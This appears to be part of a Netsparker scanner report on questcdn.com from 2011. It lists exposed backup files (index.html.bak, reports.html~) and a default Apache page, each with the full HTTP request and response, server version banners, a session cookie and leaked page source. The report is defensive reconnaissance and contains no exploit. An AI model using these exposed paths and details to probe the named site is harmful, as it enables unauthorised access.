url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab=myprojects';

url += '&allMember=true';

location.href = url;
}
</script>
<!--Override some of the settings for the tooltips--> <style type="text/css"> body div#toolTip { background:white;border:1px double black; } body div#toolTip p { color:black; } </style> <script type="text/javascript" language="JavaScript1.2">var gridServerUrl = '/questcdn/action/myProjectConnector';var gridCategories = null;var categories = new Array();function doInitDoc(){ gridCategories = new QcdnGridCategories('/questcdn', 'mygrid_container', gridServerUrl, 'user_no=&member_no=&allMember='); gridCategories.setDataProcessorUrl(gridServerUrl); gridCategories.setShowRecordCount(false); gridCategories.addCategory(1,'<b>' + 'Not Yet Bid' + '</b>','Bid Date is in the Future'); gridCategories.addCategory(2,'<b>' + 'Results Pending' + '</b>','Bid Date is in the Past and the results HAVE NOT been posted'); gridCategories.addCategory(3,'<b>' + 'Results Posted' + '</b>','Bid Date is in the Past and the results HAVE been posted'); gridCategories.expandAll(true); gridCategories.load(categoryGridCreated);}function categoryGridCreated(grid, gridHelper){ grid.setHeader('&nbsp;,Name,City,County,State,Bid Date,Solicitor,Owner,eBidDoc Available,Addendum Count,Q & A Posted,User,Status,JobNo,UserNo'); gridHelper.setColumnIds('INMYPROJ,NAME,CITY,COUNTY,STATE,BID_DATE,SOLICITOR,OWNER,DOCS_AVAIL,ADDENDA,QA_AVAIL,UNAME,STATUS,JOB_NO,USER_NO'); gridHelper.disableTooltipsByName(null); gridHelper.useSweetTitles(); grid.setInitWidths('30,200,100,80,28,130,140,150,90,90,80,80,0,0,0'); gridHelper.hideColumns('STATUS,JOB_NO,USER_NO'); //All columns that you want to access by grid.cellById, etc. must be reference here in setColTypes gridHelper.setColTypes('ch,link,ro,ro,ro,datetime'); grid.setColSorting('int,ciSort,ciSort,ciSort,ciSort,dtSort,ciSort,ciSort,ciSort,int,ciSort,ciSort,ciSort,int,int'); gridHelper.setSecondarySortColumn(gridHelper.NAME); grid.setSkin('qa');}function expandAll(doOpen){ gridCategories.expandAll(doOpen);}function previewJob(jobNo, rowId){ var url; url = '/questcdn/projects/prj_browse/project_browse.html?projbrowse=true&jobNo=' + jobNo + '&rowId=' + rowId; //url = '/questcdn/action/showProjPreviewPage?tooltip=true&preview=true&JobPK=' + jobNo; var w = window.open(url,'projectBrowse','height=800,width=600,resizable=yes,scrollbars=yes'); w.focus();}function showJob(jobNo, rowId){// document.userdata.ProjectNo.value = '' + jobNo;// document.userdata.submit(); previewJob(jobNo, rowId);}function NextProject(jobNo, rowId){ var obj = gridCategories.nextProject(rowId); rowId = obj.rowId; jobNo = obj.jobNo; if (rowId != null) previewJob(jobNo, rowId);}function PreviousProject(jobNo, rowId){ var obj = gridCategories.previousProject(rowId); rowId = obj.rowId; jobNo = obj.jobNo; if (rowId != null) previewJob(jobNo, rowId);}function showProjects(){ location.href='/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab=myprojects' + '&allMember=true' ;}//function deleteSelected()//{// var i, grid, gridHelper, selId;// for (var i = 0; i < categories.length; i++)// {// grid = categories[i].grid;// gridHelper = categories[i].gridHelper;// selId = grid.getSelectedId();// ..
[Possible] Backup File Found

[Possible] Backup File Found

2 TOTAL
LOW
Netsparker identified a backup file on the web server.

Impact

Backup files can contain old or current versions of a file on the web server. This could include sensitive data such as password files or even the applications source code. This form of issue normally leads to further vulnerabilities or at worse sensitive information disclosure.

Remedy

Do not store backup files on production servers.
- /questcdn/index.html.bak

/questcdn/index.html.bak

http://www.questcdn.com/questcdn/index.html.bak

Request

GET /questcdn/index.html.bak HTTP/1.1
Referer: http://www.questcdn.com/questcdn/index.html.bak
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/5196948904207894690
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:41:17 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
ETag: W/"20214-1239719019000"
Last-Modified: Tue, 14 Apr 2009 14:23:39 GMT
Content-Length: 20214
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><HTML><HEAD> <TITLE>Quest Construction Data Network</TITLE> <META http-equiv=content-type content=text/html;charset=ISO-8859-1> <META content="MSHTML 6.00.2800.1226" name=GENERATOR> <script type="text/javascript" src="{!a:appContext!}/j_scripts/quest.js"></script> <link href="{!a:appContext!}/css_scripts/welcome.css" rel="stylesheet" media="screen"> <CSSCRIPTDICT import> <script type="text/javascript" src="{!a:appContext!}/j_scripts/CSScriptLib.js"></script> </CSSCRIPTDICT> <CSACTIONDICT><SCRIPT type=text/javascript><!--CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_contact',/*URL*/'{!a:appContext!}/images/buttons/bu_contact.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_contact.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_member',/*URL*/'{!a:appContext!}/images/buttons/bu_main_member.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_main_member.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_provider',/*URL*/'{!a:appContext!}/images/buttons/bu_main_provider.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_main_provider.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_demo',/*URL*/'{!a:appContext!}/images/buttons/bu_main_classif.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_main_classif.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_classified',/*URL*/'{!a:appContext!}/images/buttons/bu_classif.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_classif.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_log_submit',/*URL*/'{!a:appContext!}/images/buttons/bu_submit.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_submit.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_log_join',/*URL*/'{!a:appContext!}/images/buttons/bu_log_join.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_log_join.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_log_business',/*URL*/'{!a:appContext!}/images/buttons/bu_log_business.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_log_business.gif',/*URL*/'','');CSAct[/*CMP*/ 'BA08515F1'] = new Array(CSCallFunction,'login','self');CSAct[/*CMP*/ 'BA0859BE3'] = new Array(CSOpenWindow,/*URL*/ '{!s:showPage!}log_on/log_sub_fees.html?root_page=true','',450,400,true,true,false,false,false,false,false);// --></SCRIPT> </CSACTIONDICT></HEAD><body onload="CSScriptInit();document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" Action="{!s:action!}questLogin" Method="POST"> <input type="hidden" name="loginPagePath" value="index.html"> <input type="hidden" name="root_page" value="true"><TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TBODY> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TBODY> <TR height=28> <TD width=277 height=50 rowSpan=2><IMG height=50 alt="Quest CDN.COM" src="{!a:appContext!}/images/banners/ba_main_left.gif" width=277 border=0></TD> <TD align=right height=28><A href=""><IMG height=28 alt="Contact Quest" src="{!a:appContext!}/images/buttons/bu_contact.gif" width="120" border="0" name="b_main_contact" onClick="return displayContactQuest('{!a:appContext!}')" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_contact.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_contact.gif'"></A></TD> </TR> <TR height=22> <TD bgColor=#666530 height=22><IMG height=22 alt="" src="{!a:appContext!}/images/banners/ba_main_right.gif" width=323 border=0></TD> </TR> </TBODY> </TABLE> </TD> </TR> <TR> <TD bgColor=#126666> <TABLE cellSpacing=0 cellPadding=0 width=750 border=0> <TBODY> <TR> <TD align="left">&nbsp;</TD> <TD align="right"><TABLE cellSpacing=0 cellPadding=0 border=0> <TR> <TD><A href=""><IMG height="28" alt="Member Benefits" src="{!a:appContext!}/images/buttons/bu_main_member.gif" width="122" border="0" name="b_main_member" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_main_member.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_main_member.gif'" onClick="return displayMemberBenefits('{!a:appContext!}')"></A></TD> <TD><A href=""><IMG height="28" alt="Provider Benefits" src="{!a:appContext!}/images/buttons/bu_main_provider.gif" width="125" border="0" name="b_main_provider" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_main_provider.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_main_provider.gif'" onClick="return displayProviderBenefits('{!a:appContext!}')"></A></TD> <TD><A href=""><IMG height="28" alt="Demonstration" src="{!a:appContext!}/images/buttons/bu_main_classif.gif" width="109" border="0" name="b_main_demo" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_main_classif.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_main_classif.gif'" onClick="return displayDemo()"></A></TD> <TD><IMG height="28" alt="Classified Ads" src="{!a:appContext!}/images/buttons/bu_classif.gif" width="101" border="0" name="b_main_classified" onmouseover="this.src='{!a:appContext!}/images/buttons/bu_classif.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_classif.gif'" onClick="return false"></TD> </TR> </TABLE></TD> </TR> </TBODY> </TABLE> </TD> </TR> <TR height=5> <TD height=5></TD> </TR> <TR> <TD><IMG height=108 alt="" src="{!a:appContext!}/images/elements/el_log_photos.jpg" width=760 border=0></TD></TR> <TR height=30> <TD height=30></TD></TR> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TBODY> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpacing=0 cellPadding=0 width=277 border=0> <TBODY> <TR height=70> <TD width=75 height=70></TD> <TD width=10 height=70></TD> <TD height=70></TD> </TR> <tr> <td width="380" colspan="3" align="right"> <!--#IF defined="<?d:SESSION_TIMED_OUT?>"--> <p class="body-bold" height="22" border="0" style="color:red">Your session timed out or<BR> you were not logged in.<br></p> <!--#ELSEIF defined="<?d:SHOW_LOGIN_ERROR_MSG?>"--> <p class="body-bold" height="22" border="0" style="color:red">Incorrect username or password.<p> <!--#ELSE--> &nbsp; <!--#/IF--> </td> </tr> <TR> <TD width=75></TD> <TD width=10></TD> <TD><IMG height=20 alt="Log In" src="{!a:appContext!}/images/headers/log_on/hd_log_login.gif" width=60 border=0></TD> </TR> <TR height=5> <TD width=75 height=5></TD> <TD width=10 height=5></TD> <TD height=5></TD> </TR> <TR> <TD align=right width=80> <P class=body11>user name:</P></TD> <TD width=10></TD> <TD><INPUT style="FONT-SIZE: 14px; FONT-FAMILY: Courier" size="24" name="username" value="{!d:username!}"></TD> </TR> <TR height=10> <TD width=75 height=10></TD> <TD width=10 height=10></TD> <TD height=10></TD></TR> <TR> <TD align=right width=75> <P class=body11>password:</P></TD> <TD width=10></TD> <TD><INPUT style="FONT-SIZE: 14px; FONT-FAMILY: Courier" type="password" size="24" name="password"></TD> </TR> <TR height=20> <TD width=75 height=20></TD> <TD width=10 height=20></TD> <TD height=20></TD></TR> <TR> <TD width=75></TD> <TD width=10></TD> <TD><CSOBJ w="69" t="Button" ht="{!a:appContext!}/images/buttons/bd_submit.gif" h="20" al="submit"><A href=""><IMG height=20 alt=submit src="{!a:appContext!}/images/buttons/bu_submit.gif" width=69 border=0 name=b_log_submit onClick="document.userdata.submit(); return false;" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_submit.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_submit.gif'"></A><input type="submit" value="" style="width:0;background-color:#FFFFFF;border:0;"></TD> </TR> <tr> <td width="75"></td> <td width="10"></td> <td width="185"><a href="forgotPassword.html">Forgot Password?</a></td> </tr> <TR height=50> <TD width=75 height=50></TD> <TD width=10 height=50></TD> <TD height=50></TD> </TR> <TR> <TD width=75></TD> <TD width=10></TD> <TD><IMG height=20 alt="New Member" src="{!a:appContext!}/images/headers/log_on/hd_log_new.gif" width=125 border=0></TD></TR> <TR height=5> <TD width=75 height=5></TD> <TD width=10 height=5></TD> <TD height=5></TD></TR> <TR> <TD width=75></TD> <TD width=10></TD> <TD> <P class=body>For <B><FONT color=#126666>FREE</FONT></B> membership please click the "join" button below</P></TD></TR> <TR height=20> <TD width=75 height=20></TD> <TD width=10 height=20></TD> <TD height=20></TD></TR> <TR> <TD width=75></TD> <TD width=10></TD> <TD><A href="{!a:secureHTTP!}{!s:showPage!}subscribe/sub_form.html?root_page=true"> <IMG height="20" alt="join" src="{!a:appContext!}/images/buttons/bu_log_join.gif" width="69" border="0" name="b_log_join" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_log_join.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_log_join.gif'" > </A> </TD> </TR> </TBODY> </TABLE><BR><BR><BR><BR><BR><IMG height=229 alt="" src="{!a:appContext!}/images/elements/el_main_logos.jpg" width=150 border=0></TD> <TD width=60></TD> <TD vAlign=top width=423> <TABLE cellSpacing=0 cellPadding=0 width=375 border=0> <TBODY> <TR> <TD width=375 colSpan=2><IMG height=70 alt=Welcome src="{!a:appContext!}/images/elements/el_log_welcome.jpg" width=275 border=0></TD></TR> <TR height=20> <TD width=10 height=20></TD> <TD width=365 height=20></TD></TR> <TR> <TD width=375 colSpan=2> <P class=body><B><FONT color=#126666>Welcome</FONT></B> to the Quest Construction Data Network - the state of the art in cost effective project advertising and secure digital plan delivery. Our innovative service delivers complete, high quality digital plan sets in the easy to use Adobe PDF format. With QuestCDN there is no middleman &#150; plan providers post their own project advertisements and upload their plans &#150; and once there &#150; they are immediately available to you for downloading!<BR><BR>When you join you will be offered the option of becoming a Regular Member <B><FONT color=#126666>(FREE)</FONT></B> or a Premier Member for an economical, additional subscription fee.</P></TD></TR> <TR height=30> <TD width=10 height=30></TD> <TD width=365 height=30></TD></TR> <TR> <TD width=375 colSpan=2> <P class=body><B><FONT color=#126666>Regular Members may: </FONT></B></P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>&#149;</P></TD> <TD width=365> <P class=body>view the detailed projectadvertisement</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>&#149;</P></TD> <TD width=365> <P class=body>download the complete eBidDoc&#153; (digital plan set)</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10>&#149;</TD> <TD width=365> <P class=body>retrieve plan holder information </P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>&#149;</P></TD> <TD width=365> <P class=body>receive emailed addenda notifications</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>&#149;</P></TD> <TD width=365> <P class=body>view project bid results</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>&#149;</P></TD> <TD width=365> <P class=body>access the comprehensive industry directory </P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>&#149;</P></TD> <TD width=365> <P class=body>compose and maintain their own directory listing</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>&#149;</P></TD> <TD width=365> <P class=body>post classified advertisements </P></TD></TR> <TR height=30> <TD width=10 height=30></TD> <TD width=365 height=30></TD></TR> <TR> <TD width=375 colSpan=2> <P class=body><B><FONT color=#126666>Premier Members may also: </FONT></B></P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD vAlign=top width=10> <P class=body>&#149;</P></TD> <TD width=365> <P class=body>browse and search a comprehensiv..
- /questcdn/reports/reports.html~

/questcdn/reports/reports.html~

http://www.questcdn.com/questcdn/reports/reports.html~

Request

GET /questcdn/reports/reports.html~ HTTP/1.1
Referer: http://www.questcdn.com/questcdn/reports/reports.html~
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/5196948904207894690
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:41:18 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
ETag: W/"1264-1207183577000"
Last-Modified: Thu, 03 Apr 2008 00:46:17 GMT
Content-Length: 1264
Content-Type: text/plain


<!--#REQUIRED data="<?s:privmember?>" -->

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Quest Construction Data Network</TITLE>
<META http-equiv=content-type content=text/html;charset=ISO-8859-1>
<link href="{!a:appContext!}/css_scripts/verdana.css" rel="stylesheet" media="screen">
<link href="{!a:appContext!}/css_scripts/looknfeel.css" rel="stylesheet" media="screen">
</HEAD>

<BODY vlink="#666633" link="#126666" bgColor="#ffffff" >

<!--#EMBED template="embeds/header_links.html" -->

<tr><td>
<table border="0" cellspacing="0" cellpadding="0">
<tr><td>

<table width="240" class="left_list" border="0" cellspacing="0" cellpadding="0">
<tr><td>&nbsp;</td></tr>
<tr><td class="left_list_title">
</td></tr>
<tr><td class="left_list">&nbsp;</td></tr>
<tr><td class="left_list">
<a href="rep_select_project.html">Addenda Notifications</a>
</td></tr>
<tr><td class="left_list">
<a href="plan_holders_rpt_select_job.html?&userPK={!s:userPK!}">Plan Holders</a>
</td></tr>

<tr><td>&nbsp;</td></tr>
<tr><td>&nbsp;</td></tr>
<tr><td><p class="body10"><font size="1" face="Verdana">#-COPYRIGHT-#</font></p></td></tr>

</TABLE>
<P></P>
</BODY>
</HTML>
Default Apache Page Identified

Default Apache Page Identified

1 TOTAL
INFORMATION
Netsparker idenfitied Apache default installation page. This issue is reported for information only.
- /index.html

/index.html

http://www.questcdn.com/index.html

Request

GET /index.html HTTP/1.1
Referer: http://www.questcdn.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:36:07 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Last-Modified: Sun, 20 Apr 2008 21:07:01 GMT
ETag: "23c008-2c-5d454740"
Accept-Ranges: bytes
Content-Length: 44
Content-Type: text/html


<html><body><h1>It works!</h1></body></html>